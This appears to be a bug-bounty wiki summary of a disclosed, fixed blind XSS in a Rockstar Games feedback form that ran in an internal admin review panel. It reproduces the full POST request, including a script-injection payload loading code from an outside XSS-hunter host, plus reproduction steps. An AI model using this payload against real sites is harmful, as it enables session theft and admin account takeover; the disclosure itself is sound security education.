[IMP] - Blind XSS in the admin panel for reviewing comments
A feedback submission form on a public Rockstar Games page stored user input without sanitisation, so a script submitted there ran in the browser of an internal administrator who reviewed comments. An attacker could use this to steal the administrator's session and take over the account, and to read other users' details.
Originally disclosed on HackerOne
- Triaged in 10 days
- Fixed in 16 days
- Paid in 16 days
- Disclosed after 2 months
Summary by the program
@anshuman_bh discovered that it is possible to exploit a Blind XSS vulnerability under the "MOUTHOFF TO ROCKSTAR" section while providing feedback. The result is a XSS vulnerability being exploited on an internal Rockstar Games domain.
The way this worked was that an attacker would submit a malicious XSS payload in an input field but cannot really see it being exploited anywhere unless the malicious payload gets triggered internally within Rockstar after an admin views the comments to approve/disapprove. There was no social engineering involved.
The malicious payload was submitted at https://www.rockstargames.com/mouthoff/mouthoff/submit.json.
The full POST request looked like:
POST /mouthoff/mouthoff/submit.json HTTP/1.1
Host: www.rockstargames.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Referer: http://www.rockstargames.com/newswire/article/60095/New-Pegassi-FCR-1000-Motorcycle-Vehicle-Vendetta-Mode-Plus-GTA-Online-
Content-Length: 300
Origin: http://www.rockstargames.com
Cookie:<redacted>
Connection: close
_method=POST&name=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fabhartiya.xss.ht%3E%3C%2Fscript%3E&email=%40gmail.com&age=30&subject=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fabhartiya.xss.ht%3E%3C%2Fscript%3E&category_id=1&body=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fabhartiya.xss.ht%3E%3C%2Fscript%3E
Impact:
- Since this is similar to Stored XSS, a malicious attacker could potentially steal the victim's session cookie and completely takeover the account
- This can allow attackers to view other people’s information such as their usernames, IP, comments as shown in the screenshot.
- The CMS app looks like it is written in Angular JS because of the ng app field so, it may be possible to exploit a RCE vulnerability via angular injection
- This allows information disclosure of internal domains/paths, admins, etc.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the feedback submission endpoint stored the name, subject and body fields without sanitising or encoding them, and the internal comment-review panel rendered that stored content as HTML.
Impact
An attacker could steal the admin's session cookie and take over the account, view other users' usernames, IPs and comments, and possibly achieve RCE via Angular injection.
What the attacker needed
No account needed to submit feedback; an admin must review the comment
How it was found
- Send a POST request to the feedback submission endpoint with a script payload in the name, subject and body fields.
- Wait for an internal administrator to open the comments review panel.
- The stored script runs in the administrator's browser on the internal domain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A blind cross-site scripting (XSS) bug means a website saves text a user types, such as a comment, and later shows it to a staff member without cleaning it. If that text contains a small script, the staff member's browser runs it as if the site itself had sent it. The attacker never sees the result directly, which is why it is called blind, but the script can quietly send the staff member's login details back to the attacker.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.